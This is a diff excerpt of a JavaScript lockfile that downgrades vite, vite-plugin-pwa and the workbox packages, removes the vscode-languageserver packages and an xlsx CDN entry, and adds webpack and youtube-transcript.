- "vite": ["vite@7.3.1", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA=="],
+ "vite": ["vite@6.4.1", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "tsx"], "bin": "bin/vite.js" }, "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g=="],
"vite-plugin-compression2": ["vite-plugin-compression2@2.2.1", "", { "dependencies": { "@rollup/pluginutils": "^5.1.0", "tar-mini": "^0.2.0" } }, "sha512-LMDkgheJaFBmb8cB8ymgUpXHXnd3m4kmjEInvp59fOZMSaT/9oDUtqpO0ihr4ExGsnWfYcRe13/TNN3BEk2t/g=="],
- "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.25.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.3.1" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-rHZ324W3LhfGPxWwQb2N048TThB6nVvnipsqBUJEzh3R9xeK9KI3si+GMQxCuAcpPJBVf0LpDtJ+beYzB3/chg=="],
+ "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.23.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.2.0" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0" } }, "sha512-4n+Ys+2bKHQohPBKigFlndwWQ5fFKwaGY6muNDMTb0fSQLyBzS+jjUNRZG9sKF0S/Go4ApG6LFnUGopjkILg3w=="],
- "vite-plugin-pwa": ["vite-plugin-pwa@1.2.0", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.4.0", "workbox-window": "^7.4.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^1.0.0", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-a2xld+SJshT9Lgcv8Ji4+srFJL4k/1bVbd1x06JIkvecpQkwkvCncD1+gSzcdm3s+owWLpMJerG3aN5jupJEVw=="],
+ "vite-plugin-pwa": ["vite-plugin-pwa@0.21.2", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^0.2.6", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-vFhH6Waw8itNu37hWUJxL50q+CBbNcMVzsKaYHQVrfxTt3ihk3PeLO22SbiP1UNWzcEPaTQv+YVxe4G0KOjAkg=="],
"vm-browserify": ["vm-browserify@1.1.2", "", {}, "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ=="],
"void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="],
- "vscode-jsonrpc": ["vscode-jsonrpc@8.2.0", "", {}, "sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA=="],
-
- "vscode-languageserver": ["vscode-languageserver@9.0.1", "", { "dependencies": { "vscode-languageserver-protocol": "3.17.5" }, "bin": { "installServerIntoExtension": "bin/installServerIntoExtension" } }, "sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g=="],
-
- "vscode-languageserver-protocol": ["vscode-languageserver-protocol@3.17.5", "", { "dependencies": { "vscode-jsonrpc": "8.2.0", "vscode-languageserver-types": "3.17.5" } }, "sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg=="],
-
- "vscode-languageserver-textdocument": ["vscode-languageserver-textdocument@1.0.12", "", {}, "sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA=="],
-
- "vscode-languageserver-types": ["vscode-languageserver-types@3.17.5", "", {}, "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg=="],
-
- "vscode-uri": ["vscode-uri@3.1.0", "", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
-
"w3c-keyname": ["w3c-keyname@2.2.8", "", {}, "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ=="],
"w3c-xmlserializer": ["w3c-xmlserializer@5.0.0", "", { "dependencies": { "xml-name-validator": "^5.0.0" } }, "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA=="],
"walker": ["walker@1.0.8", "", { "dependencies": { "makeerror": "1.0.12" } }, "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ=="],
+ "watchpack": ["watchpack@2.4.2", "", { "dependencies": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" } }, "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw=="],
+
"web-namespaces": ["web-namespaces@2.0.1", "", {}, "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ=="],
"web-streams-polyfill": ["web-streams-polyfill@3.3.3", "", {}, "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw=="],
"webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="],
+ "webpack": ["webpack@5.94.0", "", { "dependencies": { "@types/estree": "^1.0.5", "@webassemblyjs/ast": "^1.12.1", "@webassemblyjs/wasm-edit": "^1.12.1", "@webassemblyjs/wasm-parser": "^1.12.1", "acorn": "^8.7.1", "acorn-import-attributes": "^1.9.5", "browserslist": "^4.21.10", "chrome-trace-event": "^1.0.2", "enhanced-resolve": "^5.17.1", "es-module-lexer": "^1.2.1", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.2.0", "mime-types": "^2.1.27", "neo-async": "^2.6.2", "schema-utils": "^3.2.0", "tapable": "^2.1.1", "terser-webpack-plugin": "^5.3.10", "watchpack": "^2.4.1", "webpack-sources": "^3.2.3" }, "bin": "bin/webpack.js" }, "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg=="],
+
+ "webpack-sources": ["webpack-sources@3.2.3", "", {}, "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w=="],
+
"websocket-driver": ["websocket-driver@0.7.4", "", { "dependencies": { "http-parser-js": ">=0.5.1", "safe-buffer": ">=5.1.0", "websocket-extensions": ">=0.1.1" } }, "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg=="],
"websocket-extensions": ["websocket-extensions@0.1.4", "", {}, "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg=="],
@@ -4895,37 +4595,37 @@
"wordwrap": ["wordwrap@1.0.0", "", {}, "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q=="],
- "workbox-background-sync": ["workbox-background-sync@7.4.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.4.0" } }, "sha512-8CB9OxKAgKZKyNMwfGZ1XESx89GryWTfI+V5yEj8sHjFH8MFelUwYXEyldEK6M6oKMmn807GoJFUEA1sC4XS9w=="],
+ "workbox-background-sync": ["workbox-background-sync@7.3.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.3.0" } }, "sha512-PCSk3eK7Mxeuyatb22pcSx9dlgWNv3+M8PqPaYDokks8Y5/FX4soaOqj3yhAZr5k6Q5JWTOMYgaJBpbw11G9Eg=="],
- "workbox-broadcast-update": ["workbox-broadcast-update@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-+eZQwoktlvo62cI0b+QBr40v5XjighxPq3Fzo9AWMiAosmpG5gxRHgTbGGhaJv/q/MFVxwFNGh/UwHZ/8K88lA=="],
+ "workbox-broadcast-update": ["workbox-broadcast-update@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-T9/F5VEdJVhwmrIAE+E/kq5at2OY6+OXXgOWQevnubal6sO92Gjo24v6dCVwQiclAF5NS3hlmsifRrpQzZCdUA=="],
- "workbox-build": ["workbox-build@7.4.0", "", { "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", "@babel/preset-env": "^7.11.0", "@babel/runtime": "^7.11.2", "@rollup/plugin-babel": "^5.2.0", "@rollup/plugin-node-resolve": "^15.2.3", "@rollup/plugin-replace": "^2.4.1", "@rollup/plugin-terser": "^0.4.3", "@surma/rollup-plugin-off-main-thread": "^2.2.3", "ajv": "^8.6.0", "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", "glob": "^11.0.1", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", "rollup": "^2.79.2", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", "workbox-background-sync": "7.4.0", "workbox-broadcast-update": "7.4.0", "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-google-analytics": "7.4.0", "workbox-navigation-preload": "7.4.0", "workbox-precaching": "7.4.0", "workbox-range-requests": "7.4.0", "workbox-recipes": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0", "workbox-streams": "7.4.0", "workbox-sw": "7.4.0", "workbox-window": "7.4.0" } }, "sha512-Ntk1pWb0caOFIvwz/hfgrov/OJ45wPEhI5PbTywQcYjyZiVhT3UrwwUPl6TRYbTm4moaFYithYnl1lvZ8UjxcA=="],
+ "workbox-build": ["workbox-build@7.3.0", "", { "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", "@babel/preset-env": "^7.11.0", "@babel/runtime": "^7.11.2", "@rollup/plugin-babel": "^5.2.0", "@rollup/plugin-node-resolve": "^15.2.3", "@rollup/plugin-replace": "^2.4.1", "@rollup/plugin-terser": "^0.4.3", "@surma/rollup-plugin-off-main-thread": "^2.2.3", "ajv": "^8.6.0", "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", "glob": "^7.1.6", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", "rollup": "^2.43.1", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", "workbox-background-sync": "7.3.0", "workbox-broadcast-update": "7.3.0", "workbox-cacheable-response": "7.3.0", "workbox-core": "7.3.0", "workbox-expiration": "7.3.0", "workbox-google-analytics": "7.3.0", "workbox-navigation-preload": "7.3.0", "workbox-precaching": "7.3.0", "workbox-range-requests": "7.3.0", "workbox-recipes": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0", "workbox-streams": "7.3.0", "workbox-sw": "7.3.0", "workbox-window": "7.3.0" } }, "sha512-JGL6vZTPlxnlqZRhR/K/msqg3wKP+m0wfEUVosK7gsYzSgeIxvZLi1ViJJzVL7CEeI8r7rGFV973RiEqkP3lWQ=="],
- "workbox-cacheable-response": ["workbox-cacheable-response@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-0Fb8795zg/x23ISFkAc7lbWes6vbw34DGFIMw31cwuHPgDEC/5EYm6m/ZkylLX0EnEbbOyOCLjKgFS/Z5g0HeQ=="],
+ "workbox-cacheable-response": ["workbox-cacheable-response@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-eAFERIg6J2LuyELhLlmeRcJFa5e16Mj8kL2yCDbhWE+HUun9skRQrGIFVUagqWj4DMaaPSMWfAolM7XZZxNmxA=="],
- "workbox-core": ["workbox-core@7.4.0", "", {}, "sha512-6BMfd8tYEnN4baG4emG9U0hdXM4gGuDU3ectXuVHnj71vwxTFI7WOpQJC4siTOlVtGqCUtj0ZQNsrvi6kZZTAQ=="],
+ "workbox-core": ["workbox-core@7.3.0", "", {}, "sha512-Z+mYrErfh4t3zi7NVTvOuACB0A/jA3bgxUN3PwtAVHvfEsZxV9Iju580VEETug3zYJRc0Dmii/aixI/Uxj8fmw=="],
- "workbox-expiration": ["workbox-expiration@7.4.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.4.0" } }, "sha512-V50p4BxYhtA80eOvulu8xVfPBgZbkxJ1Jr8UUn0rvqjGhLDqKNtfrDfjJKnLz2U8fO2xGQJTx/SKXNTzHOjnHw=="],
+ "workbox-expiration": ["workbox-expiration@7.3.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.3.0" } }, "sha512-lpnSSLp2BM+K6bgFCWc5bS1LR5pAwDWbcKt1iL87/eTSJRdLdAwGQznZE+1czLgn/X05YChsrEegTNxjM067vQ=="],
- "workbox-google-analytics": ["workbox-google-analytics@7.4.0", "", { "dependencies": { "workbox-background-sync": "7.4.0", "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-MVPXQslRF6YHkzGoFw1A4GIB8GrKym/A5+jYDUSL+AeJw4ytQGrozYdiZqUW1TPQHW8isBCBtyFJergUXyNoWQ=="],
+ "workbox-google-analytics": ["workbox-google-analytics@7.3.0", "", { "dependencies": { "workbox-background-sync": "7.3.0", "workbox-core": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-ii/tSfFdhjLHZ2BrYgFNTrb/yk04pw2hasgbM70jpZfLk0vdJAXgaiMAWsoE+wfJDNWoZmBYY0hMVI0v5wWDbg=="],
- "workbox-navigation-preload": ["workbox-navigation-preload@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-etzftSgdQfjMcfPgbfaZCfM2QuR1P+4o8uCA2s4rf3chtKTq/Om7g/qvEOcZkG6v7JZOSOxVYQiOu6PbAZgU6w=="],
+ "workbox-navigation-preload": ["workbox-navigation-preload@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-fTJzogmFaTv4bShZ6aA7Bfj4Cewaq5rp30qcxl2iYM45YD79rKIhvzNHiFj1P+u5ZZldroqhASXwwoyusnr2cg=="],
- "workbox-precaching": ["workbox-precaching@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-VQs37T6jDqf1rTxUJZXRl3yjZMf5JX/vDPhmx2CPgDDKXATzEoqyRqhYnRoxl6Kr0rqaQlp32i9rtG5zTzIlNg=="],
+ "workbox-precaching": ["workbox-precaching@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-ckp/3t0msgXclVAYaNndAGeAoWQUv7Rwc4fdhWL69CCAb2UHo3Cef0KIUctqfQj1p8h6aGyz3w8Cy3Ihq9OmIw=="],
- "workbox-range-requests": ["workbox-range-requests@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-3Vq854ZNuP6Y0KZOQWLaLC9FfM7ZaE+iuQl4VhADXybwzr4z/sMmnLgTeUZLq5PaDlcJBxYXQ3U91V7dwAIfvw=="],
+ "workbox-range-requests": ["workbox-range-requests@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-EyFmM1KpDzzAouNF3+EWa15yDEenwxoeXu9bgxOEYnFfCxns7eAxA9WSSaVd8kujFFt3eIbShNqa4hLQNFvmVQ=="],
- "workbox-recipes": ["workbox-recipes@7.4.0", "", { "dependencies": { "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-precaching": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-kOkWvsAn4H8GvAkwfJTbwINdv4voFoiE9hbezgB1sb/0NLyTG4rE7l6LvS8lLk5QIRIto+DjXLuAuG3Vmt3cxQ=="],
+ "workbox-recipes": ["workbox-recipes@7.3.0", "", { "dependencies": { "workbox-cacheable-response": "7.3.0", "workbox-core": "7.3.0", "workbox-expiration": "7.3.0", "workbox-precaching": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-BJro/MpuW35I/zjZQBcoxsctgeB+kyb2JAP5EB3EYzePg8wDGoQuUdyYQS+CheTb+GhqJeWmVs3QxLI8EBP1sg=="],
- "workbox-routing": ["workbox-routing@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-C/ooj5uBWYAhAqwmU8HYQJdOjjDKBp9MzTQ+otpMmd+q0eF59K+NuXUek34wbL0RFrIXe/KKT+tUWcZcBqxbHQ=="],
+ "workbox-routing": ["workbox-routing@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-ZUlysUVn5ZUzMOmQN3bqu+gK98vNfgX/gSTZ127izJg/pMMy4LryAthnYtjuqcjkN4HEAx1mdgxNiKJMZQM76A=="],
- "workbox-strategies": ["workbox-strategies@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-T4hVqIi5A4mHi92+5EppMX3cLaVywDp8nsyUgJhOZxcfSV/eQofcOA6/EMo5rnTNmNTpw0rUgjAI6LaVullPpg=="],
+ "workbox-strategies": ["workbox-strategies@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-tmZydug+qzDFATwX7QiEL5Hdf7FrkhjaF9db1CbB39sDmEZJg3l9ayDvPxy8Y18C3Y66Nrr9kkN1f/RlkDgllg=="],
- "workbox-streams": ["workbox-streams@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0" } }, "sha512-QHPBQrey7hQbnTs5GrEVoWz7RhHJXnPT+12qqWM378orDMo5VMJLCkCM1cnCk+8Eq92lccx/VgRZ7WAzZWbSLg=="],
+ "workbox-streams": ["workbox-streams@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0" } }, "sha512-SZnXucyg8x2Y61VGtDjKPO5EgPUG5NDn/v86WYHX+9ZqvAsGOytP0Jxp1bl663YUuMoXSAtsGLL+byHzEuMRpw=="],
- "workbox-sw": ["workbox-sw@7.4.0", "", {}, "sha512-ltU+Kr3qWR6BtbdlMnCjobZKzeV1hN+S6UvDywBrwM19TTyqA03X66dzw1tEIdJvQ4lYKkBFox6IAEhoSEZ8Xw=="],
+ "workbox-sw": ["workbox-sw@7.3.0", "", {}, "sha512-aCUyoAZU9IZtH05mn0ACUpyHzPs0lMeJimAYkQkBsOWiqaJLgusfDCR+yllkPkFRxWpZKF8vSvgHYeG7LwhlmA=="],
- "workbox-window": ["workbox-window@7.4.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.4.0" } }, "sha512-/bIYdBLAVsNR3v7gYGaV4pQW3M3kEPx5E8vDxGvxo6khTrGtSSCS7QiFKv9ogzBgZiy0OXLP9zO28U/1nF1mfw=="],
+ "workbox-window": ["workbox-window@7.3.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.3.0" } }, "sha512-qW8PDy16OV1UBaUNGlTVcepzrlzyzNW/ZJvFQQs2j2TzGsg6IKjcpZC1RSquqQnTOafl5pCj5bGfAHlCjOOjdA=="],
"wrap-ansi": ["wrap-ansi@9.0.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q=="],
@@ -4937,8 +4637,6 @@
"ws": ["ws@8.18.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw=="],
- "xlsx": ["xlsx@https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", { "bin": { "xlsx": "./bin/xlsx.njs" } }],
-
"xml": ["xml@1.0.1", "", {}, "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw=="],
"xml-crypto": ["xml-crypto@6.1.2", "", { "dependencies": { "@xmldom/is-dom-node": "^1.0.1", "@xmldom/xmldom": "^0.8.10", "xpath": "^0.0.33" } }, "sha512-leBOVQdVi8FvPJrMYoum7Ici9qyxfE4kVi+AkpUoYCSXaQF4IlBm1cneTK9oAxR61LpYxTx7lNcsnBIeRpGW2w=="],
@@ -4949,7 +4647,7 @@
"xml2js": ["xml2js@0.6.2", "", { "dependencies": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" } }, "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA=="],
- "xmlbuilder": ["xmlbuilder@10.1.1", "", {}, "sha512-OyzrcFLL/nb6fMGHbiRDuPup9ljBycsdCypwuyg5AAHvyWzGfChJpCXMG88AGTIMFhGZ9RccFN1e6lhg3hkwKg=="],
+ "xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="],
"xmlchars": ["xmlchars@2.2.0", "", {}, "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="],
@@ -4967,15 +4665,17 @@
"yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="],
- "yauzl": ["yauzl@3.2.1", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A=="],
+ "yauzl": ["yauzl@3.2.0", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-Ow9nuGZE+qp1u4JIPvg+uCiUr7xGQWdff7JQSk5VGYTAZMDe2q8lxJ10ygv10qmSj031Ty/6FNJpLO4o1Sgc+w=="],
"yn": ["yn@3.1.1", "", {}, "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q=="],
"yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="],
+ "youtube-transcript": ["youtube-transcript@1.2.1", "", {}, "sha512-TvEGkBaajKw+B6y91ziLuBLsa5cawgowou+Bk0ciGpjELDfAzSzTGXaZmeSSkUeknCPpEr/WGApOHDwV7V+Y9Q=="],
+
"zod": ["zod@3.25.67", "", {}, "sha512-idA2YXwpCdqUSKRCACDE6ItZD9TZzy3OZMtpfLoh6oPR47lipysRrJfjzMqFxQ3uJuUPyUeWe1r9vLH33xO/Qw=="],
- "zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="],
+ "zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
"zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
@@ -5035,12 +4735,6 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="],
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
-
- "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
-
